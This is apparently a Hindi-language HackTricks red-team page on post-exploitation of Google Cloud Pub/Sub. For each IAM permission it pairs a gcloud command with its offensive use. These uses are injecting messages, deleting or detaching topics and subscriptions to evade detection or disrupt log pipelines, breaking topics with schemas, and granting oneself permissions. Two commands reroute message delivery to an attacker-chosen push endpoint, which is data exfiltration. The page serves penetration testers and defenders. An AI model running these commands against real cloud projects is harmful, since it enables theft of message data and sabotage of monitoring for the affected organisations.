GCP - Pub/Sub पोस्ट एक्सप्लोइटेशन

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Pub/Sub

Pub/Sub के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:

GCP - Pub/Sub Enum

pubsub.topics.publish

एक विषय में एक संदेश प्रकाशित करें, अप्रत्याशित डेटा भेजने और अप्रत्याशित कार्यक्षमताओं को ट्रिगर करने या कमजोरियों का लाभ उठाने के लिए उपयोगी:

bash
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

संदेश प्राप्त करने से एक सदस्यता को रोकने के लिए उपयोगी, शायद पहचान से बचने के लिए।

bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

सदस्यता को संदेश प्राप्त करने से रोकने के लिए उपयोगी, शायद पहचान से बचने के लिए।
यह संभव है कि एक विषय को हटाया जाए, भले ही उस पर सदस्यताएँ जुड़ी हों।

bash
gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

इस अनुमति का उपयोग किसी विषय की सेटिंग को अपडेट करने के लिए करें ताकि इसे बाधित किया जा सके, जैसे --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

अपने लिए किसी भी पिछले हमले को करने की अनुमति दें।

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

एक वेब सर्वर में सभी संदेश प्राप्त करें:

bash
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

सदस्यता बनाएं और इसका उपयोग संदेश खींचने के लिए करें:

bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

एक सदस्यता हटाना एक लॉग प्रोसेसिंग सिस्टम या कुछ समान को बाधित करने के लिए उपयोगी हो सकता है:

bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

इस अनुमति का उपयोग कुछ सेटिंग को अपडेट करने के लिए करें ताकि संदेश एक ऐसी जगह संग्रहीत हों जहाँ आप पहुँच सकते हैं (URL, Big Query तालिका, बकेट) या बस इसे बाधित करने के लिए।

bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

अपने आप को उन हमलों को करने के लिए आवश्यक अनुमतियाँ दें जिनका पहले उल्लेख किया गया था।

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

एक स्कीमा को एक विषय से जोड़ें ताकि संदेश इसे पूरा न करें और इसलिए विषय बाधित हो जाए।
यदि कोई स्कीमा नहीं है, तो आपको एक बनाने की आवश्यकता हो सकती है।

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
bash
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

यह ऐसा लग सकता है जैसे आप एक स्कीमा को हटा रहे हैं जिससे आप ऐसे संदेश भेज सकेंगे जो स्कीमा को पूरा नहीं करते। हालाँकि, चूंकि स्कीमा हटा दिया जाएगा, कोई भी संदेश वास्तव में विषय के अंदर नहीं जाएगा। इसलिए यह व्यर्थ है:

bash
gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

अपने आप को उन हमलों को करने के लिए आवश्यक अनुमतियाँ दें जिनका पहले उल्लेख किया गया था।

pubsub.snapshots.create, pubsub.snapshots.seek

यह सभी अन-ACK किए गए संदेशों का एक स्नैपशॉट बनाएगा और उन्हें सब्सक्रिप्शन में वापस डाल देगा। एक हमलावर के लिए यह बहुत उपयोगी नहीं है लेकिन यहाँ यह है:

bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें